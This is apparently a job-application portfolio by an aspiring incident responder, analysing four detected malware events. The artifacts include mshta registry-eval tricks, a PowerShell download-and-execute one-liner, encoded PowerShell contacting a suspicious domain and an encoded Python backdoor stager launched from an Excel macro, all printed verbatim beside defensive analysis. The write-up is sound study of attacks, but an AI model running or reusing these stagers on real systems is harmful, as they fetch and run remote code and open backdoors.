STUMP THE CHUMP: A SAMPLE OF ARTIFACTS

The following are excerpts from previously-detected events. I provided my analysis of each event and/or any relevant context as part of a job application process. I will review my answers a year from now to get a general impression of my growth as an aspiring DFIR professional.

Scenario #1

Parent process: mshta.exe

Parent command-line: "c:\windows\system32\mshta.exe" javascript:fAi4v6E="pZl31";R7p=new%20ActiveXObject("WScript.Shell");L6vVI0="m5S";lOQ02X=R7p.RegRead("HKLM\\software\\Wow6432Node\\EyusIi32Oc\\w1ED7Ux");L7HauL="5f1XfSK3";eval(lOQ02X);fNetG35="M8mQlCre";

Process: powershell.exe

Process command-line: "c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:dixj

Network connection count: 2

ANALYSIS:

This data appears to be part of a fileless malware attack using LOLbins (Living-off-the-Land binaries), because the parent process "mshta.exe" is executing javascript to read a registry key and then execute Powershell iex (Invoke-Expression) against variable dixj based upon the evaluation results. Since something can be presumed to already exist in that registry key, plus the variable dixj that should already be in memory, it seems fair to hypothesize that this is not the first stage of the attack.

Sources:

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/what-is-mshta-how-can-it-be-used-and-how-to-protect-against-it/

https://attack.mitre.org/techniques/T1218/005/

Scenario #2

Parent process: winword.exe

Process: powershell.exe

Process command-line: powershell.exe iex (New-Object Net.WebClient).DownloadString(“http://bit.ly/e0Mw9w”)

Network connection count: 1

ANALYSIS:

"Rick-rolled"
Microsoft Word is spawning Powershell to invoke an obscure web client to download a PS script from hxxp://bit[.]ly/e0Mw9w, which redirects to hxxp://www[.]leeholmes[.]com/projects/ps_html5/Invoke-PSHtml5.ps1
according to URLscan. The script downloads a Base64-encoded gzip file and "Decompress the frames, which
declare an array of strings" to begin setup of a media player window that opens music from "hxxp://www[.]leeholmes[.]com/projects/ps_html5/background.mp3."
It also runs powershell in the background
that appears to make the player window partially interactive, so that the recipient may ESC or CTL+C to exit
the process.

Sources:

https://urlscan.io/result/b9792d79-4a9b-4b60-aad5-4b75f1b5724b/#transactions

https://urlscan.io/result/b9792d79-4a9b-4b60-aad5-4b75f1b5724b/content/

https://gchq.github.io/CyberChef/

Scenario #3

Process: powershell.exe

Network connection count: 1

Process command-line:
C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe -windowstyle hidden -noninteractive -ExecutionPolicy bypass -EncodedCommand

JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIA
cwB0AG8AcAAiADsAJABzAGMAPQAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkA
bgB1AGUAIgA7ACQAVwBhAHIAbgBpAG4AZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0A
JABzAGMAOwAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0A
JABzAGMAOwAkAFYAZQByAGIAbwBzAGUAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQA
cwBjADsAJABEAGUAYgB1AGcAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACQAcwBjADsA
CgBmAHUAbgBjAHQAaQBvAG4AIABzAHIAKAAkAHAAKQB7ACQAbgA9ACIAVwBpAG4A
ZABvAHcAUABvAHMAaQB0AGkAbwBuACIAOwB0AHIAeQB7AE4AZQB3AC0ASQB0AGUA
bQAgAC0AUABhAHQAaAAgACQAcAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0AYwBhAHQA
YwBoAHsAfQB0AHIAeQB7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkA
IAAtAFAAYQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFAAcgBvAHAA
ZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAyADAA
MQAzADIAOQA2ADYANAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0ACgBjAGEAdABjAGgA
ewB0AHIAeQB7AFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAA
YQB0AGgAIAAkAHAAIAAtAE4AYQBtAGUAIAAkAG4AIAAtAFYAYQBsAHUAZQAgADIA
MAAxADMAMgA5ADYANgA0AHwATwB1AHQALQBOAHUAbABsADsAfQBjAGEAdABjAGgA
ewB9AH0AfQBzAHIAKAAiAEgASwBDAFUAOgBcAEMAbwBuAHMAbwBsAGUAXAAlAFMA
eQBzAHQAZQBtAFIAbwBvAHQAJQBfAFMAeQBzAHQAZQBtADMAMgBfAFcAaQBuAGQA
bwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABfAHYAMQAuADAAXwBwAG8AdwBlAHIA
cwBoAGUAbABsAC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsAQwBVADoAXABDAG8A
bgBzAG8AbABlAFwAJQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXwBTAHkAcwB0AGUA
bQAzADIAXwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApADsAcwByACgAIgBIAEsA
QwBVADoAXABDAG8AbgBzAG8AbABlAFwAdABhAHMAawBlAG4AZwAuAGUAeABlACIA
KQA7AAoAJABzAHUAcgBsAD0AIgBoAHQAdABwADoALwAvAGIAbwBvAHQAZgB1AG4A
LgBpAG4AZgBvAC8AdQAvAD8AcQA9AG4AagBxAEcAUgByAGoATgB5AEMAaQAzAGQA
ZwBzAE0AaQBxAFkATwBRADAAQQA1AG8ANQBUAFQANwBNAHQAVAA0ADgAeABjAG8A
VABMAF8AUQB1AFMAVQBKAHAAMwA4AEsAXwAxAHoAdAAzAHkANwBtAGQAOABhAEIA
MQBqAGQAQQBIAGoAOQBCAEcARgBMAFQATwBXAGwAZgBFAHgAMwBjAFQAeQBVAG4A
NQB3AGsAdABvAEsAMgBTAE8AMwBXAHkAMQBuADkASgBPADAAWQBNAGYAYwBoAHoA
SgBVADMASAA2AE8AYwBlAHoAXwBUAGYANAByAGwAQQB4AFYATAB4ADcANgB4AHAA
bABSAFUAcgAyAEwANwBRAFYAcwBzAHIASgBjAFQARgBHAEwAVAA5AFgAMgBTAFAA
VQBBAC0ARwBXAE8AOAB6AFAATAA5AGcAegBMADQAcwBDAGYAYgBYAGoAcABOAFAA
RQBzAHgALQBaAHQAYwBOAEQATABGADcAVgBOAFkAdwBtAHAAawBsAFMASQBKAGYA
XwBkAEsAbABuAEQAZQBCAEcAZABqAHMASgA4AG8AeQBhAGYAVgBWAGQAYgBYAGUA

LQBDADQASQB5ADQAdQBhAE0AOABqAEsANwA5AHkATQBaADgAWABhAHkAaQBxAHkA
WAB6AGoAcgBuAEUAUgA5AGwAcgBKAF8ATgBKAGkARQBrAEYAZQB3AEkAOQA2ADkA
VQBCAGcAQwBaAFcATABqAGkAdQB3AE0ANQBVAFgAQwBuAHIALQBFAEMAZgA4AEMA
LQBRAHUAMABnAFkATwBtAGIAMwBMAF8ARQBIAEEAYwB0AFUAVABYADYAQQAzADIA
eABTAHEAbgAxAFMATgBQAG0AcgA3AEsATAB1ADMAcABrAFMAYgBvAEsAUwBiAGwA
ZwBMAHkAOAB3AEsATwBUAEQAZgAyAFoAVABqAGkAWgBSAFYANwBPAGkAWgBOADYA
cwB6AEsAVgByAEkAUABHADIAbQBlAEEAcwBuAGoANABYAGoARQA4AFEAUQAyADkA
NABaAEgATwBsAHIARQBrAF8AcgA2AEsAMgBrAEIARABIAEMAbgB1ADQAVwA3AHcA
SQBrAEMAcAB4AHoAMQBzAEsAQQBRADYAUwB1AE0ASAB0AGIAbABVAEYAOABwAEEA
NABWAHoAdwBTADAAMABvAHIASAA1AFEAaQBIAGwARwBGAHAAWQBrAHgAJgBjAD0A
eABXAGoAcwAtAHAAVABtAGIATABhAGwAcgAzAEEAVQB0AFoASgBoAGUAYwB1AE4A
eQBhAEoAVABCADUAcwAzAGwAWAAwAEEAbAB1AHgAUwBnAFAAWABYAC0ASABFAG8A
dQByAGkAbgBuAFoAZQBvAC0ASwBhAFIAMQByAEsAUwBoADQAcABvADQARgB2AGgA
egBsAGkAdQBUAGYAawBTAEwAUwBHAEoAeQAxADkAVwBwADAAaABxADIAUQA5AGwA
MQB5AFcAWgB1AEcATQAzAFEATwBBAHYAZwAyAGcAdABVAGMAawBrAGwANwBRAGMA
WQBrAHoAMwBhAGoAWQB2AHEAWgBoAFIAdgBsAEsAUQBQAEsAaQBuAFcARgBhAG0A
awBrAEoAUwBWAGoAYwByAEEANAB5AFYARwB6AGQAQQByAHkASABOAGcAYQAxAHkA
OABoAEUATwB3ADkASwBPAEkAdwBNADUASgBXAGsAVQA0AF8AMwA1AEIANgBvAFEA
QQBoAG4ATwBQAF8ATABZAE8AaQBHAG8AdAAzAFEANQAtAEgARQAyAHgAagBBAGMA
ZgBaAG0AcwA1AGIAYgBLAHEAOABaAGgAdgBqAGwAUwBwAGsANQBkAHMATQB5AC0A
VAB2AHMARABOAFkARAB1AFQAQQBqAFoARgBaADYAUwBYAFUAZABrAFUAUQB2AHoA
VgBfAHgAVgBiAFQAdgBtAG8AcQBIAG0ANQBpAFEAVQBvADEAZgBfAHQAVAB2ADQA
VwBZAEoAZwAwAF8AdwBPADkANABkAHkARwByADIAOQBBADEAbwBpAGoAMgB0AFcA
aQA2AFMAcwB2AE0AdQAtAHIAaQBfAGoANQByAFMAVQBCAHIAcQBXAEkAbwBMAHcA
NABSAEoASwBvAEoAdQBDADYALQBMAGUAYgBfAEgAVwBwAF8AeABZAEcANgBuAF8A
MAB4AHgASwBKADQAZgBlAHcAcwBDAFUAVgBPAGMAbgA4AF8AZgAxADgAagByAGEA
OQBRAEEARQBVAEgAdwBPADAAOQA2AE4AbgBIAFcAVQAtAGQARwBDAE8AOQB4AE8A
bQBoAFYARgBMAHMANAAtAGQANAB2AGQAegBWAEIAQQBVAD

ANALYSIS:

This data resembles "TROJ_DNSCHANGER.JJ"
Powershell launches a hidden, noninteractive window with
privileges escalated to "ExecutionPolicy bypass"
for running a Powershell script obfuscated by Base64 encoding.
The script has obfuscation preferences set
to Error=stop and silently continue for all other interruptions,
while it adds values to the Current User
registry keys. The script then reaches out to a potentially
malicious domain with an obfuscated query,
possibly looking for instructions or another payload stage.

Sources:

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)URL_Decode()Remove_null_bytes()&input=<EncodedCommand>

https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_dnschanger.jj

https://www.virustotal.com/gui/url/a310e013bd2faa0633efbee385592c3124a726c106ced9ef94960e7310fe8d96/details

---

Scenario #4

Parent Process: /Applications/Microsoft Excel.app/Contents/MacOS/Microsoft Excel

Process: /bin/sh

Process command-line:
sh -c echo "import sys,base64;exec(base64.b64decode(\"
aW1wb3J0IHN5cztpbXBvcnQgc3NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVf
dW52ZXJpZmllZF9jb250ZXh0Jyk6c3NsL19jcmVhdGVfZGVmYXVsdF9odHRwc19j
b250ZXh0ID0gc3NsL19jcmVhdGVfdW52ZXJpZmllZF9jb250ZXh0OwppbXBvcnQg
cmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0
Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNo
ZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91
dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkaWYgcmUuc2VhcmNoKCJMaXR0bGUg
U25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQpvPV9faW1wb3J0X18oCnsyOid1
cmxsaWIyJywzOid1cmxsaWIucmVxdWVzdCd9W3N5cy52ZXJzaW9uX2luZm9bMF1d
LGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJ10pLmJ1aWxkX29wZW5lcigpO1VBPSdN
b3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzcuMDsg
cnY6MTEuMCkgbGlrZSBHZWNrbyc7c2VydmVyPSdodHRwczovL3NvbWUucmVkYWN0
ZWQuZG9tYWluLmVkdTo0NDMnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7by5hZGRo
ZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKSwgKCJDb29raWUiLCAic2Vzc2lvbj0v
aVg4ZHJBUONicytqaEJveDNiU3JBV3VKMXc9IildO2E9by5vcGVuKHNlcnZlcit0
KS5yZWFkKCk7SVY9YVswOjRdO2RhdGE9YVs0Ol07a2V5PUlWKydlU1JDfT9FfjdB
Ji4wMzhYdF81TCNQekZULF0vRCk5ISc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10K
Zm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVu
KGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBj
aGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYK
ICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChj
aGFyKV5TWyhTW2ldK1NbalOpJTI1NlOpKQpleGVjKCcnLmpvaW4ob3V0KSk=
\"));" | python &

ANALYSIS:

Microsoft Excel in Mac OS, likely a macro, spawning a shell to run a python script that checks for Little Snitch firewall on the host. The intent appears to be establishing a backdoor for communicative malware, such as bots for cryptomining (see XMRig). The context of this base64-ecoded script strongly resembles the EmPyre backdoor.

Sources:

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=<EncodedCommand>

https://blog.malwarebytes.com/threat-analysis/2018/12/mac-malware-combines-empyre-backdoor-and-xmrig-miner/